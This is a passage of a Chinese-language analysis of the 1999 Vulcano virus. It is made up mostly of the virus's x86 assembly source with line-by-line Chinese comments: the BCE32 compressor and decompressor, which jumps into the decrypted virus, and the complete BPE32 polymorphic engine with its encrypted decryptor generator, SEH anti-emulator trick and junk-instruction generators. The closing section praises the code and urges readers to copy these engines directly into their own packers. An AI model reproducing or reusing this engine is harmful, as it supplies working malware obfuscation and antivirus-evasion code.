  pop ecx
  pop edx
  ;; esp指向eax的压入的栈顶
  add [esp], edi
  rol byte ptr [esp], 2
  loop n_search
  ;; 保存到ebx
  pop [esp.Pushad_ebx]      ;restore all
  popad          ;...

;stage 4
;; 这个阶段用于加密并写入缓冲
  xor ebp, ebp        ;EBP = 0
  xor edx, edx        ;EDX = 0
  ;; 将密钥保存入第一个缓冲的字节
  mov [edi], bl        ;store decryption key
  ;; 移动指针
  inc edi          ;increment pointer
next_byte:
  ;; eax = 0
  xor eax, eax        ;EAX = 0
  ;; 保存ecx的原值
  push ecx
  ;; 读入一个字节
  lodsb          ;load next byte
  ;; ecx = 4
  push 4
  pop ecx          ;ECX = 4
next_bits:
  ;; 保存ecx,eax寄存器
  push ecx        ;store regs
  push eax
  ;; 测试位,将al其余位清0
  and al, 3        ;separate bit group
  push ebx        ;compare with next group
  ;; 将bl其余位清0
  and bl, 3
  ;; 测试当前字节时候与密钥有同样的位
  cmp al, bl
  ;; 恢复密钥
  pop ebx
  ;; 如果相同则跳入cb0
  je cb0
  ;; 如果两个字节的测试位不同
  ;; 保存密钥
  push ebx        ;compare with next group
  ;; 密钥循环右移2位,测试下一位
  ror bl, 2
  ;; 密钥在与3做并操作,清0操作保留最后两位
  and bl, 3
  ;; 做对比
  cmp al, bl
  ;; 恢复密钥
  pop ebx
  ;; 相同则跳入cb1
  je cb1
  ;; 如果不相同,则
  ;; 保存密钥
  push ebx        ;compare with next group
  ;; 移动密钥(将高4位与低4位对调)的
  ;; 并且将其他位清0
  ror bl, 4
  and bl, 3
  ;; 与al的位做对比
  cmp al, bl
  ;; 恢复密钥
  pop ebx
  ;; 相同则跳入cb2
  je cb2
  ;; 如果还不相同
  ;; 则保存0,1到对应的数组
  push 0          ;store bit 0
  call copy_bit
  push 1          ;store bit 1
  call copy_bit
cb0:  push 1          ;store bit 1
end_cb1:call copy_bit
  ;; 恢复eax,ecx寄存器
  pop eax
  pop ecx
  ;; 移动要加压的数据到下一位组
  ror al, 2
  loop next_bits        ;next bit
  ;; 恢复ecx
  pop ecx
  ;; 内循环用于设置一个字节的位
  ;; 外循环用于读取字节
  ;; 进行下一个字节
  loop next_byte        ;next byte
  ;; 将现有的位置保存,并于起始值做减法运算
  ;; 求出当前的位置索引号
  mov eax, edi        ;save new size
  sub eax, [esp.Pushad_edi]    ;...
  mov [esp.Pushad_eax], eax    ;...
  popad          ;restore all regs
  cmp eax, ecx        ;test for negative compression
  jb c_ok          ;positive compression
  stc          ;clear flag
  ret          ;and quit
c_ok:  clc          ;negative compression, set flag
  ret          ;and quit
cb1:  push 0          ;store bit 0
end_cb2:call copy_bit
  push 0          ;store bit 0
  jmp end_cb1
cb2:  push 0          ;store bit 0
  call copy_bit
  push 1          ;store bit 1
  jmp end_cb2
;; 复制位到内存
copy_bit:
  mov eax, ebp        ;get byte from EBP
  shl al, 1        ;make space for next bit
  or al, [esp+4]        ;set bit
  jmp cbit
BCE32_Compress  EndP        ;end of compression procedure
以下是BCE32的解压函数,这里不做分析了,算法与压缩函数的反函数
也比BCE32压缩函数要简单的多,解压段的第一个字节保存着密钥

BCE32解压函数
代码:
;Decompression routine from BCE32 starts here.
;这里为BCE32解压函数
  pushad          ;save all regs
  xor eax, eax        ;EAX = 0
  xor ebp, ebp        ;EBP = 0
  cdq          ;EDX = 0
  lodsb          ;load decryption key
  push eax        ;store it
  lodsb          ;load first byte
  push 8          ;store 8
  push edx        ;store 0
d_bits:  push ecx        ;store ECX
  test al, 80h        ;test for 1
  jne db0
  test al, 0c0h        ;test for 00
  je db1
  test al, 0a0h        ;test for 010
  je db2
  mov cl, 6        ;its 011
  jmp tb2
testb:  test bl, 1        ;is it 1 ?
  jne p1
  push 0          ;no, store 0
_tb_:  mov eax, ebp        ;load byte to EAX
  or al, [esp]        ;set bit
  ror al, 1        ;and make space for next one
  call cbit
  ret
p1:  push 1          ;store 1
  jmp _tb_        ;and continue
db0:  xor cl, cl        ;CL = 0
  mov byte ptr [esp+4], 1      ;store 1
testbits:
  push eax        ;store it
  push ebx        ;...
  mov ebx, [esp+20]      ;load parameter
  ror bl, cl        ;shift to next bit group
  call testb        ;test bit
  ror bl, 1        ;next bit
  call testb        ;test it
  pop ebx          ;restore regs
  pop eax
  mov ecx, [esp+4]      ;load parameter
bcopy:  cmp byte ptr [esp+8], 8      ;8. bit ?
  jne dnlb        ;nope, continue
  mov ebx, eax        ;load next byte
  lodsb
  xchg eax, ebx
  mov byte ptr [esp+8], 0      ;and nulify parameter
  dec dword ptr [esp]      ;decrement parameter
dnlb:  shl al, 1        ;next bit
  test bl, 80h        ;is it 1 ?
  je nb          ;no, continue
  or al, 1        ;yeah, set bit
nb:  rol bl, 1        ;next bit
  inc byte ptr [esp+8]      ;increment parameter
  loop bcopy        ;and align next bits
  pop ecx          ;restore ECX
  inc ecx          ;test flags
  dec ecx          ;...
  jns d_bits        ;if not sign, jump
  pop eax          ;delete pushed parameters
  pop eax          ;...
  pop eax          ;...
  popad          ;restore all regs
  ;从这里跳入解密后的病毒
  jmp decompressed
cbit:  inc edx          ;increment counter
  cmp dl, 8        ;byte full ?
  jne n_byte        ;no, continue
  stosb          ;yeah, store byte
  xor eax, eax        ;and prepare next one
  cdq          ;...
n_byte:  mov ebp, eax        ;save back byte
  ret Pshd        ;quit from procedure with one parameter on stack
db1:  mov cl, 2        ;2. bit in decryption key
  mov byte ptr [esp+4], 2      ;2 bit wide
  jmp testbits        ;test bits
db2:  mov cl, 4        ;4. bit
tb2:  mov byte ptr [esp+4], 3      ;3 bit wide
  jmp testbits        ;test bits
5.BPE32变形引擎分析
以下是vulcano变形引擎部分.
产生的结构为:
call 解密头
解密代码
解密头
跳转到解密代码运行
这里只做了简单的分析和注释
这篇文章由nEINEI写的<<BPE32 多态引擎剖析>>
文章链接:http://www.xfocus.net/articles/200811/989.html
详细的分析了此引擎,我这里也就不多YY了。
想大概的了解一下BPE32引擎的可以看下我的注释.
代码:
;; 这里定义了一些TASM汇编器没有记录的指令
RDTCS  equ  <dw  310Fh>      ;RDTCS opcode
SALC  equ  <db  0D6h>      ;SALC opcode

;; 参数
;; esi:指向病毒原始数据
;; edi:指向输出缓冲指针
;; ecx:原始病毒的长度
;; 返回值
;; eax:解码器头与加密数据后大小
BPE32   Proc
  ;; 保存所有寄存器
  pushad          ;save all regs
  ;; 保存edi,ecx
  push edi        ;save these regs for l8r use
  push ecx        ;  ...
  ;; edx = edi
  mov edx, edi        ;  ...
  ;; 保存esi寄存器
  push esi        ;preserve this reg
  ;; 产生花指令,可以到rjunk进行分析
  call rjunk        ;generate random junk instructions
  ;; 恢复esi寄存器
  pop esi          ;restore it
  ;; 创建一个CALL指令
  mov al, 0e8h        ;create CALL instruction
  stosb          ;  ...
  ;; eax为加密数据的大小
  mov eax, ecx        ;  ...
  imul eax, 4        ;  ...
  ;; 设置跳转偏移,加密
  stosd          ;  ...
  
  ;; eax指向缓冲的头指针
  mov eax, edx        ;calculate size of CALL+junx
  ;; 与当前的指针做减法,取出偏移
  sub edx, edi        ;  ...
  neg edx          ;  ...
  ;; 得到解密头的位置 
  add edx, eax        ;  ...
  ;; 保存解密头的位置
  push edx        ;save it
  
  ;; 获取一个随机值
  push 0          ;get random number
  call random        ;  ...
  ;; 将随机值设置给edx
  xchg edx, eax
  ;; 设置随机值
  mov [ebp + xor_key - mgdelta], edx  ;use it as xor constant
  ;; 产生一个随机值
  push 0          ;get random number
  call random        ;  ...
  ;; 随机值保存给ebx
  xchg ebx, eax
  ;; 设置给增长量,用作解密KEY的增长
  mov [ebp + key_inc - mgdelta], ebx  ;use it as key increment constant
  ;; 读取一个DWORD
x_loop:  lodsd          ;load DWORD
  ;; 用当前密钥加密
  xor eax, edx        ;encrypt it
  stosd          ;store encrypted DWORD
  ;; 密钥+增长量=新的密钥
  add edx, ebx        ;increment key
  ;; 下一个DWORD
  loop x_loop        ;next DWORD
  
  ;; 产生花指令
  call rjunk        ;generate junx
  
  ;; 产生一个SEH处理
  mov eax, 0006e860h      ;generate SEH handler
  stosd          ;  ...
  mov eax, 648b0000h      ;  ...
  stosd          ;  ...
  mov eax, 0ceb0824h      ;  ...
  stosd          ;  ...

  ;; 获取一个随机的寄存器
greg0:  call get_reg        ;get random register
  ;; 必须不是ebp,这个数字的对应
  ;; 与INTEL的IA32编码映射相同
  cmp al, 5        ;MUST NOT be EBP register
  ;; 如果是则重新产生 
  je greg0
  ;; 将寄存器的代号设置给bl
  mov bl, al        ;store register
  ;; 产生一个类似与XOR的指令
  mov dl, 11        ;proc parameter (do not generate MOV)
  ;; 进入到make_xor进行分析
  ;; bl与dl用作参数用
  call make_xor        ;create XOR or SUB instruction
  ;; 清除edx
  inc edx          ;destroy parameter
  ;; 产生一个prefix前缀,64h表示段选择子
  ;; 使用FS
  mov al, 64h        ;generate FS:
  stosb          ;store it
  ;; 896430ffh其实是一段指令
  ;; bl为要使用的寄存器
  mov eax, 896430ffh      ;next SEH instructions
  ;; 设置这为使用这个寄存器
  or ah, bl        ;change register
  stosd          ;store them
  mov al, 20h        ;  ...
  add al, bl        ;  ...
  stosb          ;  ...
  
  ;; 取得一个0-2随机数,采用4字节跳转还是2字节跳转
  ;; 也算是一个小的变形吧
  push 2          ;get random number
  call random
  test eax, eax
  je _byte_
  mov al, 0feh        ;generate INC DWORD PTR
  jmp _dw_
_byte_:  mov al, 0ffh        ;generate INC BYTE PTR
_dw_:  stosb          ;store it
  mov al, bl        ;store register
  stosb          ;  ...
  ;; 设置异常处理程序的跳转
  mov al, 0ebh        ;generate JUMP SHORT
  stosb          ;  ...
  mov al, -24d        ;generate jump to start of code (trick
        stosb                                   ;for better emulators, e.g. NODICE32)
  
  ;; 产生花指令
  call rjunk        ;generate junx
  ;; 随机获取一个寄存器,不能是ebp
greg1:  call get_reg        ;generate random register
  cmp al, 5        ;MUST NOT be EBP
  je greg1
  ;; 将寄存器设置给bl
  mov bl, al        ;store it
  ;; 产生一条清0指令
  call make_xor        ;generate XOR,SUB reg, reg or MOV reg, 0
  
  ;; 建立SEH处理
  mov al, 64h        ;next SEH instructions
  stosb          ;  ...
  mov al, 8fh        ;  ...
  stosb          ;  ...
  mov al, bl        ;  ...
  stosb          ;  ...
  mov al, 58h        ;  ...
  add al, bl        ;  ...
  stosb          ;  ...
  
  ;; 产生一个CALL指令
  mov al, 0e8h        ;generate CALL
  stosb          ;  ...
  xor eax, eax        ;  ...
  stosd          ;  ...
  push edi        ;store for l8r use
  ;; 产生随机花指令
  call rjunk        ;call junk generator
  ;; 产生一个随机寄存器并设置给bl
  call get_reg        ;random register
  mov bl, al        ;store it
  ;; 产生0-1的随机值
  push 1          ;random number (0-1)
  call random        ;  ...
  ;; 如果不为0则跳转到next_delta运行
  test eax, eax
  jne next_delta

  ;; 如果是0
  ;; 产生一个mov reg, [esp]; pop eax之类的指令
  mov al, 8bh        ;generate MOV reg, [ESP]; POP EAX
  stosb
  mov al, 80h
  or al, bl
  rol al, 3
  stosb
  mov al, 24h
  stosb
  mov al, 58h
  jmp bdelta

next_delta:
  ;; 产生pop reg类似的指令
  mov al, bl        ;generate POP reg; SUB reg, ...
  add al, 58h
bdelta:  stosb
  mov al, 81h
  stosb
  mov al, 0e8h
  add al, bl
  stosb
  pop eax
  stosd
  ;; 产生随机花指令
  call rjunk        ;random junx
  ;; 到此分析截住,下里面的代码其实与上面大体相同
  ;; 都是合成不同种类的解密头的部分
  xor bh, bh        ;parameter (first execution only)
  call greg2        ;generate MOV sourcereg, ...
  mov al, 3        ;generate ADD sourcereg, deltaoffset
  stosb          ;  ...
  mov al, 18h        ;  ...
  or al, bh        ;  ...
  rol al, 3        ;  ...
  or al, bl        ;  ...
  stosb          ;  ...
  mov esi, ebx        ;store EBX
  call greg2        ;generate MOV countreg, ...
  mov cl, bh        ;store count register
  mov ebx, esi        ;restore EBX

  call greg3        ;generate MOV keyreg, ...
  push edi        ;store this position for jump to decryptor
  mov al, 31h        ;generate XOR [sourcereg], keyreg
  stosb          ;  ...
  mov al, ch        ;  ...
  rol al, 3        ;  ...
  or al, bh        ;  ...
  stosb          ;  ...

  push 6          ;this stuff will choose ordinary of calls
  call random        ;to code generators
  test eax, eax
  je g5          ;GREG4 - key incremention
  cmp al, 1        ;GREG5 - source incremention
  je g1          ;GREG6 - count decremention
  cmp al, 2        ;GREG7 - decryption loop
  je g2
  cmp al, 3
  je g3
  cmp al, 4
  je g4

g0:  call gg1
  call greg6
  jmp g_end
g1:  call gg2
  call greg5
  jmp g_end
g2:  call greg5
  call gg2
  jmp g_end
g3:  call greg5
gg3:  call greg6
  jmp g_out
g4:  call greg6
  call gg1
  jmp g_end
g5:  call greg6
  call greg5
g_out:  call greg4
g_end:  call greg7
  mov al, 61h        ;generate POPAD instruction
  stosb          ;  ...
  call rjunk        ;junk instruction generator
  mov al, 0c3h        ;RET instruction
  stosb          ;  ...
  pop eax          ;calculate size of decryptor and encrypted data
  sub eax, edi        ;  ...
  neg eax          ;  ...
  mov [esp.Pushad_eax], eax    ;store it to EAX register
  popad          ;restore all regs
  ret          ;and thats all folx
get_reg proc          ;this procedure generates random register
  push 8          ;random number (0-7)
  call random        ;  ...
  test eax, eax
  je get_reg        ;MUST NOT be 0 (=EAX is used as junk register)
  cmp al, 100b        ;MUST NOT be ESP
  je get_reg
  ret
get_reg endp

;; 随机产生一个异或指令
make_xor proc          ;this procedure will generate instruction, that
  ;; 产生一个随机数0-3
  push 3          ;will nulify register (BL as parameter)
  call random
  ;; 对比,并进入相应的产生代码
  test eax, eax
  je _sub_
  cmp al, 1
  je _mov_
  mov al, 33h        ;generate XOR reg, reg
  jmp _xor_
  ;; 产生一个sub reg, reg的清0指令
_sub_:  mov al, 2bh        ;generate SUB reg, reg
  ;; 设置这个opcode
_xor_:  stosb
  ;; 换算寄存器
  mov al, 18h
  or al, bl
  rol al, 3
  or al, bl
  ;; 设置
  stosb
  ret
  ;; 如果是dl=11将不产生mov reg, 0类似的指令
_mov_:  cmp dl, 11        ;generate MOV reg, 0
  je make_xor
  ;; 0b8是mov的opcode
  mov al, 0b8h
  ;; 换算寄存器
  add al, bl
  stosb
  xor eax, eax
  stosd
  ret
make_xor endp

gg1:  call greg4
  jmp greg5
gg2:  call greg4
  jmp greg6

;; 产生一个随机值,如果参数是0则直接返回0
random  proc          ;this procedure will generate random number
            ;in range from 0 to pushed_parameter-1
            ;0 = do not truncate result
  push edx        ;save EDX
        RDTCS          ;RDTCS instruction - reads PCs tix and stores
            ;number of them into pair EDX:EAX
  xor edx, edx        ;nulify EDX, we need only EAX
  cmp [esp+8], edx      ;is parameter==0 ?
  je r_out        ;yeah, do not truncate result
  div dword ptr [esp+8]      ;divide it
  xchg eax, edx        ;remainder as result
r_out:  pop edx          ;restore EDX
  ret Pshd        ;quit procedure and destroy pushed parameter
random  endp

make_xor2 proc          ;create XOR instruction
  mov al, 81h
  stosb
  mov al, 0f0h
  add al, bh
  stosb
  ret
make_xor2 endp

greg2  proc          ;1 parameter = source/count value
  call get_reg        ;get register
  cmp al, bl        ;already used ?
  je greg2
  cmp al, 5
  je greg2
  cmp al, bh
  je greg2
  mov bh, al

  mov ecx, [esp+4]      ;get parameter
  push 5          ;choose instructions
  call random
  test eax, eax
  je s_next0
  cmp al, 1
  je s_next1
  cmp al, 2
  je s_next2
  cmp al, 3
  je s_next3

  mov al, 0b8h        ;MOV reg, random_value
  add al, bh        ;XOR reg, value
  stosb          ;param = random_value xor value
  push 0
  call random
  xor ecx, eax
  stosd
  call make_xor2
  mov eax, ecx
  jmp n_end2
s_next0:mov al, 68h        ;PUSH random_value
  stosb          ;POP reg
  push 0          ;XOR reg, value
  call random        ;result = random_value xor value
  xchg eax, ecx
  xor eax, ecx
  stosd
  mov al, 58h
  add al, bh
  stosb
  call make_xor2
  xchg eax, ecx
  jmp n_end2
s_next1:mov al, 0b8h        ;MOV EAX, random_value
  stosb          ;MOV reg, EAX
  push 0          ;SUB reg, value
  call random        ;result = random_value - value
  stosd
  push eax
  mov al, 8bh
  stosb
  mov al, 18h
  or al, bh
  rol al, 3
  stosb
  mov al, 81h
  stosb
  mov al, 0e8h
  add al, bh
  stosb
  pop eax
  sub eax, ecx
  jmp n_end2
s_next2:push ebx        ;XOR reg, reg
  mov bl, bh        ;XOR reg, random_value
  call make_xor        ;ADD reg, value
  pop ebx          ;result = random_value + value
  call make_xor2
  push 0
  call random
  sub ecx, eax
  stosd
  push ecx
  call s_lbl
  pop eax
  jmp n_end2
s_lbl:  mov al, 81h        ;create ADD reg, ... instruction
  stosb
  mov al, 0c0h
  add al, bh
  stosb
  ret
s_next3:push ebx        ;XOR reg, reg
  mov bl, bh        ;ADD reg, random_value
  call make_xor        ;XOR reg, value
  pop ebx          ;result = random_value xor value
  push 0
  call random
  push eax
  xor eax, ecx
  xchg eax, ecx
  call s_lbl
  xchg eax, ecx
  stosd
  call make_xor2
  pop eax  
n_end2:  stosd
  push esi
  call rjunk
  pop esi
  ret Pshd
greg2  endp

greg3  proc
  call get_reg        ;get register
  cmp al, 5        ;already used ?
  je greg3
  cmp al, bl
  je greg3
  cmp al, bh
  je greg3
  cmp al, cl
  je greg3
  mov ch, al
  mov edx, 0      ;get encryption key value
xor_key = dword ptr $ - 4

  push 3
  call random
  test eax, eax
  je k_next1
  cmp al, 1
  je k_next2

  push ebx        ;XOR reg, reg
  mov bl, ch        ;OR, ADD, XOR reg, value
  call make_xor
  pop ebx

  mov al, 81h
  stosb
  push 3
  call random
  test eax, eax
  je k_nxt2
  cmp al, 1
  je k_nxt3

  mov al, 0c0h
k_nxt1:  add al, ch
  stosb
  xchg eax, edx
n_end1:  stosd
k_end:  call rjunk
  ret
k_nxt2:  mov al, 0f0h
  jmp k_nxt1
k_nxt3:  mov al, 0c8h
  jmp k_nxt1
k_next1:mov al, 0b8h        ;MOV reg, value
  jmp k_nxt1
k_next2:mov al, 68h        ;PUSH value
  stosb          ;POP reg
  xchg eax, edx
  stosd
  mov al, ch
  add al, 58h
  jmp i_end1
greg3  endp

greg4  proc
  mov edx, 0       ;get key increment value
key_inc = dword ptr $ - 4
i_next:  push 3
  call random
  test eax, eax
  je i_next0
  cmp al, 1
  je i_next1
  cmp al, 2
  je i_next2

  mov al, 90h        ;XCHG EAX, reg
  add al, ch        ;XOR reg, reg
  stosb          ;OR reg, EAX
  push ebx        ;ADD reg, value
  mov bl, ch
  call make_xor
  pop ebx
  mov al, 0bh
  stosb
  mov al, 18h
  add al, ch
  rol al, 3
  stosb
i_next0:mov al, 81h        ;ADD reg, value
  stosb
  mov al, 0c0h
  add al, ch
  stosb
  xchg eax, edx
  jmp n_end1
i_next1:mov al, 0b8h        ;MOV EAX, value
  stosb          ;ADD reg, EAX
  xchg eax, edx
  stosd
  mov al, 3
  stosb
  mov al, 18h
  or al, ch
  rol al, 3
i_end1:  stosb
i_end2:  call rjunk
  ret
i_next2:mov al, 8bh        ;MOV EAX, reg
  stosb          ;ADD EAX, value
  mov al, 0c0h        ;XCHG EAX, reg
  add al, ch
  stosb
  mov al, 5
  stosb
  xchg eax, edx
  stosd
  mov al, 90h
  add al, ch
  jmp i_end1
greg4  endp

greg5  proc
  push ecx
  mov ch, bh
  push 4
  pop edx
  push 2
  call random
  test eax, eax
  jne ng5
  call i_next        ;same as previous, value=4
  pop ecx
  jmp k_end
ng5:  mov al, 40h        ;4x inc reg
  add al, ch
  pop ecx
  stosb
  stosb
  stosb
  jmp i_end1
greg5  endp

greg6  proc
  push 5
  call random
  test eax, eax
  je d_next0
  cmp al, 1
  je d_next1
  cmp al, 2
  je d_next2

  mov al, 83h        ;SUB reg, 1
  stosb
  mov al, 0e8h
  add al, cl
  stosb
  mov al, 1
  jmp i_end1
d_next0:mov al, 48h        ;DEC reg
  add al, cl
  jmp i_end1
d_next1:mov al, 0b8h        ;MOV EAX, random_value
  stosb          ;SUB reg, EAX
  push 0          ;ADD reg, random_value-1
  call random
  mov edx, eax
  stosd
  mov al, 2bh
  stosb
  mov al, 18h
  add al, cl
  rol al, 3
  stosb
  mov al, 81h
  stosb
  mov al, 0c0h
  add al, cl
  stosb
  dec edx
  mov eax, edx
  jmp n_end1
d_next2:mov al, 90h        ;XCHG EAX, reg
  add al, cl        ;DEC EAX
  stosb          ;XCHG EAX, reg
  mov al, 48h
  stosb
  mov al, 90h
  add al, cl
  jmp i_end1
greg6  endp

greg7  proc
  mov edx, [esp+4]
  dec edx
  push 2
  call random
  test eax, eax
  je l_next0
  mov al, 51h        ;PUSH ECX
  stosb          ;MOV ECX, reg
  mov al, 8bh        ;JECXZ label
  stosb          ;POP ECX
  mov al, 0c8h        ;JMP decrypt_loop
  add al, cl        ;label:
  stosb          ;POP ECX
  mov eax, 0eb5903e3h
  stosd
  sub edx, edi
  mov al, dl
  stosb
  mov al, 59h
  jmp l_next
l_next0:push ebx        ;XOR EAX, EAX
  xor bl, bl        ;DEC EAX
  call make_xor        ;ADD EAX, reg
  pop ebx          ;JNS decrypt_loop
  mov al, 48h
  stosb
  mov al, 3
  stosb
  mov al, 0c0h
  add al, cl
  stosb
  mov al, 79h
  stosb
  sub edx, edi
  mov al, dl
l_next:  stosb
  call rjunk
  ret Pshd
greg7  endp

rjunkjc:push 7
  call random
  jmp rjn

;; 产生花指令
;; BPE32总共有8组花指令类型,0-7
;; 又用0 - 7,8个数字进行了映射
;; 例如1=1+2代表,如果获取到一个随机数的值为1
;; 那么取第一组的花指令然后取第二组的花指令
;; 0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
;; 以下会以此分析这几组产生花指令的代码
;; 这段随机花指令产生写的很不错,很多技巧值得学习
rjunk  proc      ;junk instruction generator
  ;; 产生一个0 - 7的随机值
  push 8
  call random    ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
  ;; 对比并进入相应的处理程序
rjn:  test eax, eax
  je j5
  cmp al, 1
  je j_1x2
  cmp al, 2
  je j_2x1
  cmp al, 4
  je j2
  cmp al, 5
  je j3
  cmp al, 6
  je r_end
  cmp al, 7
  je jcj
  
  ;; 如果随机值是1或者3
j1:  call junx1    ;one byte junk instruction
  nop
  dec eax
  SALC
  inc eax
  clc
  cwde
  stc
  cld
  ;; 这里为产生1字节的花支付令
  ;; esi指向由1字节花指令产生的表,总共8条
junx1:  pop esi
  ;; 再产生一个0-7的随机数,选取一个花指令
  push 8
  call random
  ;; esi为花指令的地址
  add esi, eax
  ;; 移动到edi指向的内存中
  movsb
  ret
  ;; 这里为当随机值号为1时,先建立一个1字节的花指令
  ;; 然后再建立一个2字节的花指令
j_1x2:  call j1      ;one byte and two byte
  jmp j2
  ;; 这里为当随机值号为2时,先建立一个2字节的花指令
  ;; 然后再建立一个1字节的花指令
j_2x1:  call j2      ;two byte and one byte
  jmp j1
  ;; 这里为当随机值号为1时,先建立一个3字节的花指令
j3:  call junx3
  db  0c1h, 0c0h  ;rol eax, ...
  db  0c1h, 0e0h  ;shl eax, ...
  db  0c1h, 0c8h  ;ror eax, ...
  db  0c1h, 0e8h  ;shr eax, ...
  db  0c1h, 0d0h  ;rcl eax, ...
  db  0c1h, 0f8h  ;sar eax, ...
  db  0c1h, 0d8h  ;rcr eax, ...
  db  083h, 0c0h
  db  083h, 0c8h
  db  083h, 0d0h
  db  083h, 0d8h
  db  083h, 0e0h
  db  083h, 0e8h
  db  083h, 0f0h
  db  083h, 0f8h  ;cmp eax, ...
  db  0f8h, 072h  ;clc; jc ...
  db  0f9h, 073h  ;stc; jnc ...
  ;; esi指向3字节花指令表,这里都是一些移动等无伤大雅的opcde
  ;; 后面添加一个随机数
junx3:  pop esi      ;three byte junk instruction
  ;; 生成一个0-17之间的随机数
  push 17
  call random
  ;; 这个随机数乘2
  imul eax, 2
  ;; 将当前的读取地址与这个值相加
  ;; 后的地址作为读取
  add esi, eax
  ;; 设置两个字节
  movsb
  movsb
  ;; 产生一个0
r_ran:  push 0
  call random
  test al, al
  je r_ran
  stosb
  ret
  ;; 这里为当随机值号为4时
  ;; 产生一个2字节的花指令
j2:  call junx2
  db  8bh    ;mov eax, ...
  db  03h    ;add eax, ...
  db  13h    ;adc eax, ...
  db  2bh    ;sub eax, ...
  db  1bh    ;sbb eax, ...
  db  0bh    ;or eax, ...
  db  33h    ;xor eax, ...
  db  23h    ;and eax, ...
  db  33h    ;test eax, ...
  ;; esi指向2字节的花指令表,总共有9个
junx2:  pop esi      ;two byte junk instruction
  push 9
  call random
  add esi, eax
  movsb
  ;; 产生一个0-8的花指令
  push 8
  call random
  ;; 做与运算
  add al, 11000000b
  stosb
r_end:  ret
  ;; 这里为当随机值号为0时
  ;; 产生一个5字节的花指令
j5:  call junx5
  db  0b8h    ;mov eax, ...
  db  05h    ;add eax, ...
  db  15h    ;adc eax, ...
  db  2dh    ;sub eax, ...
  db  1dh    ;sbb eax, ...
  db  0dh    ;or eax, ...
  db  35h    ;xor eax, ...
  db  25h    ;and eax, ...
  db  0a9h    ;test eax, ...
  db  3dh    ;cmp eax, ...
  ;; esi指向5字节的花指令表,总共有10个
junx5:  pop esi      ;five byte junk instruction
  push 10
  call random
  add esi, eax
  movsb
  ;; 产生一个4字节的随机数
  push 0
  call random
  stosd
  ret
  ;; 这里为当随机值号为7时
  ;; 产生一个伪跳转字节的花指令
  ;; 跳入rjunkjc标签(向上),在rjunkjc中
  ;; 执行的操作为,首先再次产生一个0-6之间
  ;; 的随机花指令,然后再创建一个伪跳转
jcj:  call rjunkjc    ;junk
  ;; 保存edx, ebx, ecx寄存器的值
  push edx    ;CALL label1
  push ebx    ;junk
  push ecx    ;JMP label2
  ;; 设置一个CALL指令的opcode
  mov al, 0e8h    ;junk
  stosb      ;label1: junk
  ;; 保存edi,设置了跳转opcode后的指针
  push edi    ;RET
  ;; 从当前esi指向处随便读取一个值进行填充
  stosd      ;junk
  ;; 保存edi,指向设置了偏移后的指针
  push edi    ;label2:
  ;; 产生随机花指令,除了伪跳转
  call rjunkjc    ;junk
  ;; 产生一个伪跳转,并设置跳转的opcode-0e9h
  mov al, 0e9h
  stosb
  ;; 将edi当前的指针设置给ecx
  mov ecx, edi
  ;; 随遍从esi中取出一个值设置
  stosd
  ;; 将目前的edi设置给ebx
  mov ebx, edi
  ;; 产生花指令
  call rjunkjc
  ;; eax中保存了,产生第一个伪跳后的指针
  pop eax
  ;; 于第二条伪跳后的指针做减法
  sub eax, edi
  ;; 换算为正数
  neg eax
  ;; 当前添加花指令后的指针设置给edx
  mov edx, edi
  ;; 恢复edi到第一个伪跳的opcode之后指针
  pop edi
  ;; 将eax偏移设置到其后,第一个伪跳跳到第
  ;; 二个伪跳
  stosd
  ;; 恢复edi
  mov edi, edx
  ;; 产生花指令
  call rjunkjc
  ;; 设置一个ret(c3h)指令
  mov al, 0c3h
  stosb
  ;; 产生花指令,除了第7号
  call rjunkjc
  ;; 设置第2个伪跳的偏移
  sub ebx, edi
  neg ebx
  xchg eax, ebx
  push edi
  mov edi, ecx
  stosd
  ;; 恢复edi寄存器
  pop edi
  ;; 产生花指令,除了第7号
  call rjunkjc
  ;; 恢复寄存器
  pop ecx
  pop ebx
  pop edx
  ret
rjunk  endp
BPE32     EndP      ;BPE32 ends here
6.借鉴的技巧
这个病毒写的确实非常好.作者的构思,以及编码技巧都值得我们借鉴到自己的壳中
这个病毒最实际的是给出了几个很不错函数例如BPE32变形引擎,BCE32压缩引擎这些
都可以直接拖到我们自己的壳中使用,或者在其上进行山寨.做到青出于蓝而胜于蓝的
山寨效果.还有像多线程通讯这种技巧非常值得在壳中得到应用.
这个病毒整体用的最多是一个自修改的编码技巧,例如:
mov eax, 0
_xx_ = dword ptr $ - 4
接下来是
call eax
或者
stosd
这些操作eax寄存器的技巧.都值得我们借鉴.
最后 - 希望大家喜欢这个99年的经典病毒,以及我的文章! ^_^